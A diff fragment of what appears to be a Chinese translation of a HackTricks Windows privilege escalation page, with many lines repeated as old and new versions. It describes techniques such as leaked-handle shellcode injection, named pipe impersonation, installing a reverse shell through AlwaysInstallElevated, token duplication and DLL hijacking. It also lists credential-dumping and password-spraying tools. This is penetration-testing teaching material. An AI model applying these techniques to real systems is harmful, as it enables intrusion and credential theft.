[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **是一个msf** 插件，我创建这个插件是为了 **自动执行每个在受害者内部搜索凭据的metasploit POST模块**。\
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 自动搜索此页面中提到的所有包含密码的文件。\
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) 是另一个从系统中提取密码的优秀工具。
@ -1220,10 +1222,10 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
```
## 泄露的句柄
想象一下**一个以SYSTEM身份运行的进程**通过**完全访问**打开一个新进程（`OpenProcess()`）。同一个进程**还创建了一个新进程**（`CreateProcess()`），**具有低权限但继承了主进程的所有打开句柄**。\
然后，如果你对这个低权限进程**拥有完全访问权限**，你可以抓取通过`OpenProcess()`创建的**特权进程的打开句柄**并**注入一个shellcode**。\
想象一下，**一个以SYSTEM身份运行的进程**通过**完全访问**打开一个新进程（`OpenProcess()`）。同一个进程**还创建了一个新进程**（`CreateProcess()`），**具有低权限但继承了主进程的所有打开句柄**。\
然后，如果你对这个低权限进程**拥有完全访问权限**，你可以获取**通过`OpenProcess()`创建的特权进程的打开句柄**并**注入一个shellcode**。\
[阅读这个例子以获取更多关于**如何检测和利用此漏洞的信息**。](leaked-handle-exploitation.md)\
[阅读这篇**其他文章以获得更完整的解释，了解如何测试和滥用具有不同权限级别（不仅仅是完全访问权限）继承的进程和线程的更多打开句柄**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)。
[阅读这篇**其他文章以获得更完整的解释，了解如何测试和滥用具有不同权限级别（不仅仅是完全访问）的进程和线程的更多打开句柄**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)。
## 命名管道客户端冒充
@ -1231,9 +1233,9 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Windows提供了一种称为**命名管道**的功能，允许不相关的进程共享数据，甚至跨不同网络。这类似于客户端/服务器架构，角色定义为**命名管道服务器**和**命名管道客户端**。
当**客户端**通过管道发送数据时，设置管道的**服务器**有能力**承担客户端的身份**，前提是它拥有必要的**SeImpersonate**权限。识别一个通过管道进行通信的**特权进程**，你可以模仿它，这提供了**获得更高权限**的机会，因为一旦它与您建立的管道交互，您就可以采用该进程的身份。有关执行此类攻击的说明，可以在[**这里**](named-pipe-client-impersonation.md)和[**这里**](#from-high-integrity-to-system)找到有用的指南。
当**客户端**通过管道发送数据时，设置管道的**服务器**有能力**承担客户端的身份**，前提是它具有必要的**SeImpersonate**权限。识别一个通过管道进行通信的**特权进程**，你可以模仿它，这提供了**获得更高权限**的机会，通过采用该进程的身份，一旦它与您建立的管道进行交互。有关执行此类攻击的说明，可以在[**这里**](named-pipe-client-impersonation.md)和[**这里**](#from-high-integrity-to-system)找到有用的指南。
此外，以下工具允许**使用像burp这样的工具拦截命名管道通信**：[**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **而这个工具允许列出并查看所有管道以寻找权限提升** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
此外，以下工具允许**使用像burp这样的工具拦截命名管道通信：** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **而这个工具允许列出并查看所有管道以寻找特权提升** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
## 杂项
@ -1255,7 +1257,7 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2
如果您可以访问图形界面（通过控制台或 RDP）并且启用了 UAC，在某些版本的 Microsoft Windows 中，可以从一个无权限用户运行终端或任何其他进程，例如 "NT\AUTHORITY SYSTEM"。
这使得可以在同一漏洞下同时提升权限并绕过 UAC。此外，无需安装任何东西，过程中使用的二进制文件是由 Microsoft 签名和发布的。
这使得可以利用同一个漏洞同时提升权限并绕过 UAC。此外，无需安装任何东西，过程中使用的二进制文件是由 Microsoft 签名和发布的。
一些受影响的系统如下：
```
@ -1326,7 +1328,7 @@ sc start newservicename
```
### AlwaysInstallElevated
从高完整性进程中，您可以尝试**启用 AlwaysInstallElevated 注册表项**并使用 _**.msi**_ 包装器**安装**反向 shell。\
从高完整性进程中，您可以尝试**启用 AlwaysInstallElevated 注册表项**并**使用 _**.msi**_ 包装器安装**反向 shell。\
[有关相关注册表项和如何安装 _.msi_ 包的更多信息，请点击这里。](#alwaysinstallelevated)
### High + SeImpersonate privilege to System
@ -1335,7 +1337,7 @@ sc start newservicename
### From SeDebug + SeImpersonate to Full Token privileges
如果您拥有这些令牌权限（您可能会在已经是高完整性进程中找到），您将能够**打开几乎任何进程**（非受保护进程），使用 SeDebug 权限**复制进程的令牌**，并创建一个**具有该令牌的任意进程**。\
如果您拥有这些令牌权限（您可能会在已经是高完整性进程中找到），您将能够**打开几乎任何进程**（非受保护进程），并使用 SeDebug 权限**复制该进程的令牌**，并创建一个**具有该令牌的任意进程**。\
使用此技术通常**选择任何以 SYSTEM 身份运行的进程，具有所有令牌权限**（_是的，您可以找到没有所有令牌权限的 SYSTEM 进程_）。\
**您可以在这里找到** [**执行所提议技术的代码示例**](sedebug-+-seimpersonate-copy-token.md)**。**
@ -1347,7 +1349,7 @@ sc start newservicename
### Dll Hijacking
如果您成功**劫持一个由以**SYSTEM**身份运行的**进程**加载的 dll，您将能够以这些权限执行任意代码。因此，Dll Hijacking 对于这种特权升级也很有用，而且，从高完整性进程中实现**更容易**，因为它将对用于加载 dll 的文件夹具有**写权限**。\
如果您设法**劫持一个由以**SYSTEM**身份运行的**进程**加载的 dll，您将能够以这些权限执行任意代码。因此，Dll Hijacking 对于这种特权升级也很有用，而且，如果从高完整性进程进行，**更容易实现**，因为它将对用于加载 dll 的文件夹具有**写权限**。\
**您可以** [**在这里了解更多关于 Dll 劫持的信息**](dll-hijacking/index.html)**。**
### **From Administrator or Network Service to System**
@ -1375,7 +1377,7 @@ https://github.com/sailay1996/RpcSsImpersonator
[**JAWS**](https://github.com/411Hall/JAWS) **-- 检查一些可能的错误配置并收集信息 (**[**在这里检查**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。**\
[**privesc** ](https://github.com/enjoiz/Privesc)**-- 检查错误配置**\
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- 提取 PuTTY、WinSCP、SuperPuTTY、FileZilla 和 RDP 保存的会话信息。使用 -Thorough 在本地。**\
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- 从凭据管理器中提取凭据。已检测。**\
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- 从凭据管理器提取凭据。已检测。**\
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 在域中喷洒收集到的密码**\
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh 是一个 PowerShell ADIDNS/LLMNR/mDNS/NBNS 欺骗和中间人工具。**\
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的 privesc Windows 枚举**\
@ -1385,11 +1387,11 @@ https://github.com/sailay1996/RpcSsImpersonator
**Exe**
[**Watson**](https://github.com/rasta-mouse/Watson) -- 搜索已知的 privesc 漏洞（需要使用 VisualStudio 编译） ([**预编译**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 枚举主机以搜索错误配置（更多是收集信息工具而非 privesc）（需要编译） **(**[**预编译**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 枚举主机以查找错误配置（更多是收集信息工具而非 privesc）（需要编译） **(**[**预编译**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 从许多软件中提取凭据（在 github 上有预编译 exe）**\
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp 的 C# 移植**\
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 检查错误配置（在 github 上的可执行文件预编译）。不推荐。它在 Win10 上效果不佳。\
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 检查可能的错误配置（来自 python 的 exe）。不推荐。它在 Win10 上效果不佳。
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 检查错误配置（在 github 上的可执行文件预编译）。不推荐。它在 Win10 上效果不好。\
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 检查可能的错误配置（来自 python 的 exe）。不推荐。它在 Win10 上效果不好。
**Bat**